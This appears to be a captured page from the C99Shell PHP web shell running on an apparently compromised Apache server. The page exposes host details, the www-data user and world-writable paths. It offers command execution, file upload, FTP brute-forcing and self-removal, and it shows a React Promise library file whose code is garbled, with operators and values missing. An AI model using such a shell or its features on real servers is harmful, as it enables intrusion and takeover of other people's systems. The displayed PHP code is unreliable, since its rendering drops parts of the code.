!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/react/promise/src/   drwxrwxrwx
Free 13.22 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CancellationQueue.php (1.11 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace React\Promise;

class 
CancellationQueue
{
    private 
$started false;
    private 
$queue = [];

    public function 
__invoke()
    {
        if (
$this->started) {
            return;
        }

        
$this->started true;
        
$this->drain();
    }

    public function 
enqueue($cancellable)
    {
        if (!
\is_object($cancellable) || !\method_exists($cancellable'then') || !\method_exists($cancellable'cancel')) {
            return;
        }

        
$length \array_push($this->queue$cancellable);

        if (
$this->started && === $length) {
            
$this->drain();
        }
    }

    private function 
drain()
    {
        for (
$i key($this->queue); isset($this->queue[$i]); $i++) {
            
$cancellable $this->queue[$i];

            
$exception null;

            try {
                
$cancellable->cancel();
            } catch (
\Throwable $exception) {
            } catch (
\Exception $exception) {
            }

            unset(
$this->queue[$i]);

            if (
$exception) {
                throw 
$exception;
            }
        }

        
$this->queue = [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--